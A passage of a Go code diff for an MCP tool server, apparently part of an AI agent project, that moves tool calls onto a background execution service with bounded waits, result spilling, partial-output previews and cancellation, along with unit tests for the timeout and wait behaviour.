httpToolTimeoutMu sync.RWMutex
|
||||||
toolAuthorizer func(context.Context, string, map[string]interface{}) error
|
toolAuthorizer func(context.Context, string, map[string]interface{}) error
|
||||||
|
executionService *ExecutionService
|
||||||
|
toolWaitTimeout time.Duration
|
||||||
|
toolResultMaxBytes int
|
||||||
|
spillRootDir string
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const defaultPartialOutputMaxBytes = 64 * 1024
|
||||||
|
|
||||||
// SetToolAuthorizer installs the common policy decision point for every
|
// SetToolAuthorizer installs the common policy decision point for every
|
||||||
// user-attributed tool call, whether it originates from HTTP or an Agent.
|
// user-attributed tool call, whether it originates from HTTP or an Agent.
|
||||||
func (s *Server) SetToolAuthorizer(authorizer func(context.Context, string, map[string]interface{}) error) {
|
func (s *Server) SetToolAuthorizer(authorizer func(context.Context, string, map[string]interface{}) error) {
|
||||||
@@ -100,7 +107,10 @@ func NewServerWithStorage(logger *zap.Logger, storage MonitorStorage) *Server {
|
|||||||
sseClients: make(map[string]*sseClient),
|
sseClients: make(map[string]*sseClient),
|
||||||
runningCancels: make(map[string]context.CancelFunc),
|
runningCancels: make(map[string]context.CancelFunc),
|
||||||
abortUserNotes: make(map[string]string),
|
abortUserNotes: make(map[string]string),
|
||||||
|
toolWaitTimeout: 60 * time.Second,
|
||||||
|
toolResultMaxBytes: DefaultToolResultMaxBytes,
|
||||||
}
|
}
|
||||||
|
s.executionService = NewExecutionService(storage, logger)
|
||||||
|
|
||||||
// 初始化默认提示词和资源
|
// 初始化默认提示词和资源
|
||||||
s.initDefaultPrompts()
|
s.initDefaultPrompts()
|
||||||
@@ -109,6 +119,32 @@ func NewServerWithStorage(logger *zap.Logger, storage MonitorStorage) *Server {
|
|||||||
return s
|
return s
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (s *Server) ConfigureToolResultMaxBytes(maxBytes int) {
|
||||||
|
if s == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
s.mu.Lock()
|
||||||
|
s.toolResultMaxBytes = maxBytes
|
||||||
|
s.mu.Unlock()
|
||||||
|
if s.executionService != nil {
|
||||||
|
s.executionService.ConfigureToolResultMaxBytes(maxBytes)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ConfigureToolResultSpillRoot sets the local directory root used when oversized
|
||||||
|
// tool results are spilled (aligned with reduction_root_dir; empty → tmp/reduction).
|
||||||
|
func (s *Server) ConfigureToolResultSpillRoot(rootDir string) {
|
||||||
|
if s == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
s.mu.Lock()
|
||||||
|
s.spillRootDir = strings.TrimSpace(rootDir)
|
||||||
|
s.mu.Unlock()
|
||||||
|
if s.executionService != nil {
|
||||||
|
s.executionService.ConfigureToolResultSpillRoot(rootDir)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// ConfigureHTTPToolCallTimeoutFromAgentMinutes 将 agent.tool_timeout_minutes 同步到经 HTTP POST /api/mcp 触发的 tools/call。
|
// ConfigureHTTPToolCallTimeoutFromAgentMinutes 将 agent.tool_timeout_minutes 同步到经 HTTP POST /api/mcp 触发的 tools/call。
|
||||||
// minutes<=0 表示不设置硬性截止时间(与配置「0 不限制」一致);minutes>0 为该次调用的最长等待时间。
|
// minutes<=0 表示不设置硬性截止时间(与配置「0 不限制」一致);minutes>0 为该次调用的最长等待时间。
|
||||||
// 未调用前对 tools/call 使用默认 30 分钟(与历史硬编码一致)。
|
// 未调用前对 tools/call 使用默认 30 分钟(与历史硬编码一致)。
|
||||||
@@ -125,6 +161,19 @@ func (s *Server) ConfigureHTTPToolCallTimeoutFromAgentMinutes(minutes int) {
|
|||||||
s.httpToolTimeoutMinutes = &v
|
s.httpToolTimeoutMinutes = &v
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (s *Server) ConfigureToolWaitTimeoutSeconds(seconds int) {
|
||||||
|
if s == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
if seconds <= 0 {
|
||||||
|
s.toolWaitTimeout = 0
|
||||||
|
return
|
||||||
|
}
|
||||||
|
s.toolWaitTimeout = time.Duration(seconds) * time.Second
|
||||||
|
}
|
||||||
|
|
||||||
func (s *Server) effectiveHTTPToolCallDeadline(parent context.Context) (context.Context, context.CancelFunc) {
|
func (s *Server) effectiveHTTPToolCallDeadline(parent context.Context) (context.Context, context.CancelFunc) {
|
||||||
const defaultDur = 30 * time.Minute
|
const defaultDur = 30 * time.Minute
|
||||||
if parent == nil {
|
if parent == nil {
|
||||||
@@ -555,13 +604,13 @@ func (s *Server) handleCallTool(requestCtx context.Context, msg *Message) *Messa
|
|||||||
st, msg := executionStatusAndMessage(err)
|
st, msg := executionStatusAndMessage(err)
|
||||||
execution.Status = st
|
execution.Status = st
|
||||||
execution.Error = msg
|
execution.Error = msg
|
||||||
failed = true
|
failed = st != "cancelled"
|
||||||
} else if result != nil && result.IsError {
|
} else if result != nil && result.IsError {
|
||||||
if cancelledWithUserNote {
|
if cancelledWithUserNote {
|
||||||
execution.Status = "cancelled"
|
execution.Status = "cancelled"
|
||||||
execution.Error = ""
|
execution.Error = ""
|
||||||
execution.Result = result
|
execution.Result = result
|
||||||
failed = true
|
failed = false
|
||||||
} else {
|
} else {
|
||||||
execution.Status = "failed"
|
execution.Status = "failed"
|
||||||
if len(result.Content) > 0 {
|
if len(result.Content) > 0 {
|
||||||
@@ -709,6 +758,11 @@ func (s *Server) updateStats(toolName string, failed bool) {
|
|||||||
|
|
||||||
// GetExecution 获取执行记录(先从内存查找,再从数据库查找)
|
// GetExecution 获取执行记录(先从内存查找,再从数据库查找)
|
||||||
func (s *Server) GetExecution(id string) (*ToolExecution, bool) {
|
func (s *Server) GetExecution(id string) (*ToolExecution, bool) {
|
||||||
|
if s.executionService != nil {
|
||||||
|
if snap, err := s.executionService.Get(id); err == nil && snap != nil && snap.Execution != nil {
|
||||||
|
return snap.Execution, true
|
||||||
|
}
|
||||||
|
}
|
||||||
s.mu.RLock()
|
s.mu.RLock()
|
||||||
exec, exists := s.executions[id]
|
exec, exists := s.executions[id]
|
||||||
s.mu.RUnlock()
|
s.mu.RUnlock()
|
||||||
@@ -860,112 +914,91 @@ func (s *Server) CallTool(ctx context.Context, toolName string, args map[string]
|
|||||||
return nil, "", fmt.Errorf("工具 %s 未找到", toolName)
|
return nil, "", fmt.Errorf("工具 %s 未找到", toolName)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 创建执行记录
|
if s.executionService == nil {
|
||||||
executionID := uuid.New().String()
|
s.executionService = NewExecutionService(s.storage, s.logger)
|
||||||
execution := &ToolExecution{
|
s.executionService.ConfigureToolResultMaxBytes(s.toolResultMaxBytes)
|
||||||
ID: executionID,
|
s.executionService.ConfigureToolResultSpillRoot(s.spillRootDir)
|
||||||
ToolName: toolName,
|
|
||||||
Arguments: args,
|
|
||||||
Status: "running",
|
|
||||||
StartTime: time.Now(),
|
|
||||||
}
|
}
|
||||||
|
var ownerUserID string
|
||||||
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
||||||
execution.OwnerUserID = principal.UserID
|
ownerUserID = principal.UserID
|
||||||
}
|
}
|
||||||
execution.ConversationID = MCPConversationIDFromContext(ctx)
|
handle, err := s.executionService.Submit(ctx, ExecutionRequest{
|
||||||
|
ToolName: toolName,
|
||||||
s.mu.Lock()
|
Arguments: args,
|
||||||
s.executions[executionID] = execution
|
ConversationID: MCPConversationIDFromContext(ctx),
|
||||||
// 如果内存中的执行记录超过限制,清理最旧的记录
|
OwnerUserID: ownerUserID,
|
||||||
s.cleanupOldExecutions()
|
Run: func(runCtx context.Context) (*ToolResult, error) {
|
||||||
s.mu.Unlock()
|
return handler(runCtx, args)
|
||||||
|
},
|
||||||
if s.storage != nil {
|
OnDone: func(exec *ToolExecution) {
|
||||||
if err := s.storage.SaveToolExecution(execution); err != nil {
|
failed := exec != nil && exec.Status != ToolExecutionStatusCompleted && exec.Status != ToolExecutionStatusCancelled
|
||||||
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
|
s.updateStats(toolName, failed)
|
||||||
}
|
},
|
||||||
}
|
})
|
||||||
|
|
||||||
execCtx, runCancel := context.WithCancel(ctx)
|
|
||||||
s.registerRunningCancel(executionID, runCancel)
|
|
||||||
notifyToolRunBegin(ctx, executionID)
|
|
||||||
defer func() {
|
|
||||||
notifyToolRunEnd(ctx, executionID)
|
|
||||||
runCancel()
|
|
||||||
s.unregisterRunningCancel(executionID)
|
|
||||||
}()
|
|
||||||
|
|
||||||
result, err := handler(execCtx, args)
|
|
||||||
cancelledWithUserNote := s.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
|
|
||||||
|
|
||||||
s.mu.Lock()
|
|
||||||
now := time.Now()
|
|
||||||
execution.EndTime = &now
|
|
||||||
execution.Duration = now.Sub(execution.StartTime)
|
|
||||||
var failed bool
|
|
||||||
var finalResult *ToolResult
|
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
st, msg := executionStatusAndMessage(err)
|
return nil, "", err
|
||||||
execution.Status = st
|
|
||||||
execution.Error = msg
|
|
||||||
failed = true
|
|
||||||
} else if result != nil && result.IsError {
|
|
||||||
if cancelledWithUserNote {
|
|
||||||
execution.Status = "cancelled"
|
|
||||||
execution.Error = ""
|
|
||||||
execution.Result = result
|
|
||||||
failed = true
|
|
||||||
finalResult = result
|
|
||||||
} else {
|
|
||||||
execution.Status = "failed"
|
|
||||||
if len(result.Content) > 0 {
|
|
||||||
execution.Error = result.Content[0].Text
|
|
||||||
} else {
|
|
||||||
execution.Error = "工具执行返回错误结果"
|
|
||||||
}
|
|
||||||
execution.Result = result
|
|
||||||
failed = true
|
|
||||||
finalResult = result
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
execution.Status = "completed"
|
|
||||||
if result == nil {
|
|
||||||
result = &ToolResult{
|
|
||||||
Content: []Content{
|
|
||||||
{Type: "text", Text: "工具执行完成,但未返回结果"},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
execution.Result = result
|
|
||||||
finalResult = result
|
|
||||||
failed = false
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if finalResult == nil {
|
s.mu.RLock()
|
||||||
finalResult = execution.Result
|
waitTimeout := s.toolWaitTimeout
|
||||||
|
s.mu.RUnlock()
|
||||||
|
if isExecutionControlTool(toolName) {
|
||||||
|
waitTimeout = 0
|
||||||
}
|
}
|
||||||
s.mu.Unlock()
|
snapshot, waitErr := s.executionService.Wait(ctx, handle.ID, waitTimeout)
|
||||||
|
if errors.Is(waitErr, ErrExecutionWaitTimeout) {
|
||||||
if s.storage != nil {
|
return internalMCPWaitTimeoutResult(snapshot, waitTimeout), handle.ID, nil
|
||||||
if err := s.storage.SaveToolExecution(execution); err != nil {
|
|
||||||
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
if waitErr != nil {
|
||||||
s.updateStats(toolName, failed)
|
return nil, handle.ID, waitErr
|
||||||
|
|
||||||
if s.storage != nil {
|
|
||||||
s.mu.Lock()
|
|
||||||
delete(s.executions, executionID)
|
|
||||||
s.mu.Unlock()
|
|
||||||
}
|
}
|
||||||
|
if snapshot == nil || snapshot.Execution == nil {
|
||||||
if err != nil {
|
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回执行快照"}}, IsError: true}, handle.ID, nil
|
||||||
return nil, executionID, err
|
|
||||||
}
|
}
|
||||||
|
if snapshot.Execution.Result != nil {
|
||||||
|
return snapshot.Execution.Result, handle.ID, nil
|
||||||
|
}
|
||||||
|
if snapshot.Execution.Error != "" {
|
||||||
|
return nil, handle.ID, errors.New(snapshot.Execution.Error)
|
||||||
|
}
|
||||||
|
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回结果"}}, IsError: false}, handle.ID, nil
|
||||||
|
}
|
||||||
|
|
||||||
return finalResult, executionID, nil
|
func internalMCPWaitTimeoutResult(snapshot *ExecutionSnapshot, waitTimeout time.Duration) *ToolResult {
|
||||||
|
execID := ""
|
||||||
|
status := ToolExecutionStatusRunning
|
||||||
|
toolName := ""
|
||||||
|
elapsed := time.Duration(0)
|
||||||
|
if snapshot != nil && snapshot.Execution != nil {
|
||||||
|
execID = snapshot.Execution.ID
|
||||||
|
status = snapshot.Execution.Status
|
||||||
|
toolName = snapshot.Execution.ToolName
|
||||||
|
elapsed = time.Since(snapshot.Execution.StartTime).Round(time.Second)
|
||||||
|
}
|
||||||
|
waitText := "unbounded"
|
||||||
|
if waitTimeout > 0 {
|
||||||
|
waitText = waitTimeout.Round(time.Second).String()
|
||||||
|
}
|
||||||
|
msg := fmt.Sprintf(`工具已提交到后台执行,但本次等待已到达上限。
|
||||||
|
|
||||||
|
execution_id: %s
|
||||||
|
tool: %s
|
||||||
|
status: %s
|
||||||
|
wait_timeout: %s
|
||||||
|
elapsed: %s
|
||||||
|
|
||||||
|
你可以继续推理、改用其他工具,或调用 wait_tool_execution 继续等待该 execution_id;也可以调用 cancel_tool_execution 取消。`, execID, toolName, status, waitText, elapsed)
|
||||||
|
return &ToolResult{Content: []Content{{Type: "text", Text: msg}}, IsError: true}
|
||||||
|
}
|
||||||
|
|
||||||
|
func isExecutionControlTool(toolName string) bool {
|
||||||
|
switch strings.TrimSpace(toolName) {
|
||||||
|
case builtin.ToolGetToolExecution, builtin.ToolWaitToolExecution, builtin.ToolCancelToolExecution:
|
||||||
|
return true
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// BeginToolExecution 创建 running 状态的执行记录,供 Eino 等非 CallTool 路径在工具开始时落库。
|
// BeginToolExecution 创建 running 状态的执行记录,供 Eino 等非 CallTool 路径在工具开始时落库。
|
||||||
@@ -1020,6 +1053,8 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
|
|||||||
var finalResult *ToolResult
|
var finalResult *ToolResult
|
||||||
|
|
||||||
s.mu.Lock()
|
s.mu.Lock()
|
||||||
|
maxBytes := s.toolResultMaxBytes
|
||||||
|
spillRoot := s.spillRootDir
|
||||||
exec, inMem := s.executions[id]
|
exec, inMem := s.executions[id]
|
||||||
if !inMem || exec == nil {
|
if !inMem || exec == nil {
|
||||||
exec = &ToolExecution{
|
exec = &ToolExecution{
|
||||||
@@ -1047,12 +1082,19 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
|
|||||||
}
|
}
|
||||||
exec.Duration = now.Sub(exec.StartTime)
|
exec.Duration = now.Sub(exec.StartTime)
|
||||||
|
|
||||||
|
spill := ToolResultSpillConfig{
|
||||||
|
RootDir: spillRoot,
|
||||||
|
ProjectID: MCPProjectIDFromContext(ctx),
|
||||||
|
ConversationID: exec.ConversationID,
|
||||||
|
ExecutionID: id,
|
||||||
|
}
|
||||||
if failed {
|
if failed {
|
||||||
st, msg := executionStatusAndMessage(invokeErr)
|
st, msg := executionStatusAndMessage(invokeErr)
|
||||||
exec.Status = st
|
exec.Status = st
|
||||||
exec.Error = msg
|
exec.Error = msg
|
||||||
if strings.TrimSpace(resultText) != "" {
|
if strings.TrimSpace(resultText) != "" {
|
||||||
finalResult = &ToolResult{Content: []Content{{Type: "text", Text: resultText}}}
|
finalResult = &ToolResult{Content: []Content{{Type: "text", Text: resultText}}}
|
||||||
|
finalResult = NormalizeToolResultForStorageWithSpill(finalResult, maxBytes, spill)
|
||||||
exec.Result = finalResult
|
exec.Result = finalResult
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
@@ -1062,6 +1104,7 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
|
|||||||
text = "(无输出)"
|
text = "(无输出)"
|
||||||
}
|
}
|
||||||
finalResult = &ToolResult{Content: []Content{{Type: "text", Text: text}}}
|
finalResult = &ToolResult{Content: []Content{{Type: "text", Text: text}}}
|
||||||
|
finalResult = NormalizeToolResultForStorageWithSpill(finalResult, maxBytes, spill)
|
||||||
exec.Result = finalResult
|
exec.Result = finalResult
|
||||||
}
|
}
|
||||||
s.mu.Unlock()
|
s.mu.Unlock()
|
||||||
@@ -1082,6 +1125,25 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
|
|||||||
return id
|
return id
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// AppendToolExecutionPartialOutput records a bounded tail preview for a running local execution.
|
||||||
|
// The final Result remains authoritative and is written only when the tool finishes.
|
||||||
|
func (s *Server) AppendToolExecutionPartialOutput(executionID, chunk string) {
|
||||||
|
if s == nil || strings.TrimSpace(executionID) == "" || chunk == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
id := strings.TrimSpace(executionID)
|
||||||
|
if s.executionService != nil && s.executionService.AppendPartialOutput(id, chunk) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
now := time.Now()
|
||||||
|
s.mu.Lock()
|
||||||
|
exec := s.executions[id]
|
||||||
|
if exec != nil {
|
||||||
|
appendPartialOutput(exec, chunk, defaultPartialOutputMaxBytes, now)
|
||||||
|
}
|
||||||
|
s.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
// RecordCompletedToolInvocation 将已在其它路径完成的工具调用写入监控存储(格式与 CallTool 结束后一致),
|
// RecordCompletedToolInvocation 将已在其它路径完成的工具调用写入监控存储(格式与 CallTool 结束后一致),
|
||||||
// 用于 Eino ADK filesystem execute 等未经过 CallTool 的场景;返回 executionId 供助手消息 mcpExecutionIds 关联。
|
// 用于 Eino ADK filesystem execute 等未经过 CallTool 的场景;返回 executionId 供助手消息 mcpExecutionIds 关联。
|
||||||
func (s *Server) RecordCompletedToolInvocation(ctx context.Context, toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
|
func (s *Server) RecordCompletedToolInvocation(ctx context.Context, toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
|
||||||
@@ -1098,8 +1160,16 @@ func (s *Server) UpdateToolExecutionResult(executionID string, result *ToolResul
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
s.mu.Lock()
|
s.mu.Lock()
|
||||||
|
spill := ToolResultSpillConfig{
|
||||||
|
RootDir: s.spillRootDir,
|
||||||
|
ExecutionID: executionID,
|
||||||
|
}
|
||||||
if exec, ok := s.executions[executionID]; ok && exec != nil {
|
if exec, ok := s.executions[executionID]; ok && exec != nil {
|
||||||
|
spill.ConversationID = exec.ConversationID
|
||||||
|
result = NormalizeToolResultForStorageWithSpill(result, s.toolResultMaxBytes, spill)
|
||||||
exec.Result = result
|
exec.Result = result
|
||||||
|
} else {
|
||||||
|
result = NormalizeToolResultForStorageWithSpill(result, s.toolResultMaxBytes, spill)
|
||||||
}
|
}
|
||||||
s.mu.Unlock()
|
s.mu.Unlock()
|
||||||
if s.storage != nil {
|
if s.storage != nil {
|
||||||
@@ -1157,6 +1227,24 @@ func (s *Server) unregisterRunningCancel(id string) {
|
|||||||
s.runningCancelsMu.Unlock()
|
s.runningCancelsMu.Unlock()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// RegisterToolExecutionCancel lets non-ExecutionService tool paths, such as Eino
|
||||||
|
// filesystem execute, participate in cancel_tool_execution by execution_id.
|
||||||
|
func (s *Server) RegisterToolExecutionCancel(id string, cancel context.CancelFunc) {
|
||||||
|
id = strings.TrimSpace(id)
|
||||||
|
if s == nil || id == "" || cancel == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
s.registerRunningCancel(id, cancel)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) UnregisterToolExecutionCancel(id string) {
|
||||||
|
id = strings.TrimSpace(id)
|
||||||
|
if s == nil || id == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
s.unregisterRunningCancel(id)
|
||||||
|
}
|
||||||
|
|
||||||
func (s *Server) readAbortUserNote(id string) string {
|
func (s *Server) readAbortUserNote(id string) string {
|
||||||
s.runningCancelsMu.Lock()
|
s.runningCancelsMu.Lock()
|
||||||
defer s.runningCancelsMu.Unlock()
|
defer s.runningCancelsMu.Unlock()
|
||||||
@@ -1205,6 +1293,9 @@ func (s *Server) applyAbortUserNoteToCancelledToolResult(executionID string, res
|
|||||||
|
|
||||||
// CancelToolExecutionWithNote 取消内部工具;note 非空时与工具已返回文本合并后交给上层模型。
|
// CancelToolExecutionWithNote 取消内部工具;note 非空时与工具已返回文本合并后交给上层模型。
|
||||||
func (s *Server) CancelToolExecutionWithNote(id string, note string) bool {
|
func (s *Server) CancelToolExecutionWithNote(id string, note string) bool {
|
||||||
|
if s.executionService != nil && s.executionService.Cancel(id, note) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
s.runningCancelsMu.Lock()
|
s.runningCancelsMu.Lock()
|
||||||
cancel, ok := s.runningCancels[id]
|
cancel, ok := s.runningCancels[id]
|
||||||
if !ok || cancel == nil {
|
if !ok || cancel == nil {
|
||||||
@@ -1232,12 +1323,17 @@ func (s *Server) ActiveRunningExecutionIDs() map[string]struct{} {
|
|||||||
if s == nil {
|
if s == nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
out := make(map[string]struct{})
|
||||||
|
if s.executionService != nil {
|
||||||
|
for id := range s.executionService.ActiveRunningExecutionIDs() {
|
||||||
|
out[id] = struct{}{}
|
||||||
|
}
|
||||||
|
}
|
||||||
s.runningCancelsMu.Lock()
|
s.runningCancelsMu.Lock()
|
||||||
defer s.runningCancelsMu.Unlock()
|
defer s.runningCancelsMu.Unlock()
|
||||||
if len(s.runningCancels) == 0 {
|
if len(s.runningCancels) == 0 && len(out) == 0 {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
out := make(map[string]struct{}, len(s.runningCancels))
|
|
||||||
for id := range s.runningCancels {
|
for id := range s.runningCancels {
|
||||||
out[id] = struct{}{}
|
out[id] = struct{}{}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,7 +3,9 @@ package mcp
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"errors"
|
"errors"
|
||||||
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
"cyberstrike-ai/internal/authctx"
|
"cyberstrike-ai/internal/authctx"
|
||||||
|
|
||||||
@@ -34,3 +36,185 @@ func TestToolAuthorizerIsUniversalAndExecutionKeepsOwner(t *testing.T) {
|
|||||||
t.Fatalf("execution owner = %#v, want u1", execution)
|
t.Fatalf("execution owner = %#v, want u1", execution)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestServerCallToolBoundedWaitForInternalTool(t *testing.T) {
|
||||||
|
server := NewServer(zap.NewNop())
|
||||||
|
server.toolWaitTimeout = 10 * time.Millisecond
|
||||||
|
release := make(chan struct{})
|
||||||
|
started := make(chan struct{})
|
||||||
|
server.RegisterTool(Tool{Name: "slow", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
|
||||||
|
close(started)
|
||||||
|
select {
|
||||||
|
case <-release:
|
||||||
|
return &ToolResult{Content: []Content{{Type: "text", Text: "internal done"}}}, nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
return nil, ctx.Err()
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
callCtx, callCancel := context.WithCancel(context.Background())
|
||||||
|
result, executionID, err := server.CallTool(callCtx, "slow", nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CallTool returned error: %v", err)
|
||||||
|
}
|
||||||
|
if executionID == "" || result == nil || !result.IsError {
|
||||||
|
t.Fatalf("expected soft timeout with execution id, result=%#v id=%q", result, executionID)
|
||||||
|
}
|
||||||
|
if text := ToolResultPlainText(result); !strings.Contains(text, executionID) || !strings.Contains(text, "wait_tool_execution") {
|
||||||
|
t.Fatalf("timeout result missing execution guidance: %q", text)
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case <-started:
|
||||||
|
default:
|
||||||
|
t.Fatal("internal worker did not start")
|
||||||
|
}
|
||||||
|
callCancel()
|
||||||
|
close(release)
|
||||||
|
|
||||||
|
snapshot, err := server.executionService.Wait(context.Background(), executionID, time.Second)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("wait internal execution: %v", err)
|
||||||
|
}
|
||||||
|
if snapshot == nil || snapshot.Execution == nil || snapshot.Execution.Status != ToolExecutionStatusCompleted {
|
||||||
|
t.Fatalf("snapshot = %#v, want completed", snapshot)
|
||||||
|
}
|
||||||
|
if got := ToolResultPlainText(snapshot.Execution.Result); got != "internal done" {
|
||||||
|
t.Fatalf("result = %q, want internal done", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWaitToolExecutionWaitsForInternalActiveExecution(t *testing.T) {
|
||||||
|
server := NewServer(zap.NewNop())
|
||||||
|
server.toolWaitTimeout = 10 * time.Millisecond
|
||||||
|
release := make(chan struct{})
|
||||||
|
server.RegisterTool(Tool{Name: "slow", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
|
||||||
|
select {
|
||||||
|
case <-release:
|
||||||
|
return &ToolResult{Content: []Content{{Type: "text", Text: "wait saw completion"}}}, nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
return nil, ctx.Err()
|
||||||
|
}
|
||||||
|
})
|
||||||
|
RegisterExecutionControlTools(server, nil)
|
||||||
|
|
||||||
|
result, executionID, err := server.CallTool(context.Background(), "slow", nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CallTool returned error: %v", err)
|
||||||
|
}
|
||||||
|
if result == nil || !result.IsError || executionID == "" {
|
||||||
|
t.Fatalf("expected initial bounded wait timeout, result=%#v id=%q", result, executionID)
|
||||||
|
}
|
||||||
|
|
||||||
|
done := make(chan *ToolResult, 1)
|
||||||
|
errCh := make(chan error, 1)
|
||||||
|
go func() {
|
||||||
|
waitResult, _, waitErr := server.CallTool(context.Background(), "wait_tool_execution", map[string]interface{}{
|
||||||
|
"execution_id": executionID,
|
||||||
|
"timeout_seconds": 1,
|
||||||
|
})
|
||||||
|
if waitErr != nil {
|
||||||
|
errCh <- waitErr
|
||||||
|
return
|
||||||
|
}
|
||||||
|
done <- waitResult
|
||||||
|
}()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-done:
|
||||||
|
t.Fatal("wait_tool_execution returned before target execution completed")
|
||||||
|
case err := <-errCh:
|
||||||
|
t.Fatalf("wait_tool_execution errored before release: %v", err)
|
||||||
|
case <-time.After(50 * time.Millisecond):
|
||||||
|
}
|
||||||
|
close(release)
|
||||||
|
|
||||||
|
select {
|
||||||
|
case err := <-errCh:
|
||||||
|
t.Fatalf("wait_tool_execution returned error: %v", err)
|
||||||
|
case waitResult := <-done:
|
||||||
|
if waitResult == nil || waitResult.IsError {
|
||||||
|
t.Fatalf("expected successful wait result, got %#v", waitResult)
|
||||||
|
}
|
||||||
|
if body := ToolResultPlainText(waitResult); !strings.Contains(body, "wait saw completion") || !strings.Contains(body, `"status": "completed"`) {
|
||||||
|
t.Fatalf("wait result missing completed target: %s", body)
|
||||||
|
}
|
||||||
|
case <-time.After(time.Second):
|
||||||
|
t.Fatal("wait_tool_execution did not return after target completion")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWaitToolExecutionTimeoutIsObservationNotFailure(t *testing.T) {
|
||||||
|
server := NewServer(zap.NewNop())
|
||||||
|
server.toolWaitTimeout = 10 * time.Millisecond
|
||||||
|
release := make(chan struct{})
|
||||||
|
server.RegisterTool(Tool{Name: "slow_observed", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
|
||||||
|
<-release
|
||||||
|
return &ToolResult{Content: []Content{{Type: "text", Text: "done"}}}, nil
|
||||||
|
})
|
||||||
|
RegisterExecutionControlTools(server, nil)
|
||||||
|
|
||||||
|
result, executionID, err := server.CallTool(context.Background(), "slow_observed", nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CallTool returned error: %v", err)
|
||||||
|
}
|
||||||
|
if result == nil || !result.IsError || executionID == "" {
|
||||||
|
t.Fatalf("expected initial bounded wait timeout, result=%#v id=%q", result, executionID)
|
||||||
|
}
|
||||||
|
|
||||||
|
waitResult, _, err := server.CallTool(context.Background(), "wait_tool_execution", map[string]interface{}{
|
||||||
|
"execution_id": executionID,
|
||||||
|
"timeout_seconds": 0.01,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("wait_tool_execution returned error: %v", err)
|
||||||
|
}
|
||||||
|
if waitResult == nil {
|
||||||
|
t.Fatal("missing wait result")
|
||||||
|
}
|
||||||
|
if waitResult.IsError {
|
||||||
|
t.Fatalf("wait timeout should be a successful observation, got %#v", waitResult)
|
||||||
|
}
|
||||||
|
body := ToolResultPlainText(waitResult)
|
||||||
|
if !strings.Contains(body, `"status": "running"`) || !strings.Contains(body, "本次等待已到达") {
|
||||||
|
t.Fatalf("wait timeout body missing running status/guidance: %s", body)
|
||||||
|
}
|
||||||
|
close(release)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGetToolExecutionIncludesBoundedPartialOutput(t *testing.T) {
|
||||||
|
server := NewServer(zap.NewNop())
|
||||||
|
RegisterExecutionControlTools(server, nil)
|
||||||
|
|
||||||
|
executionID := server.BeginToolExecution(context.Background(), "execute", map[string]interface{}{"command": "demo"})
|
||||||
|
if executionID == "" {
|
||||||
|
t.Fatal("missing execution id")
|
||||||
|
}
|
||||||
|
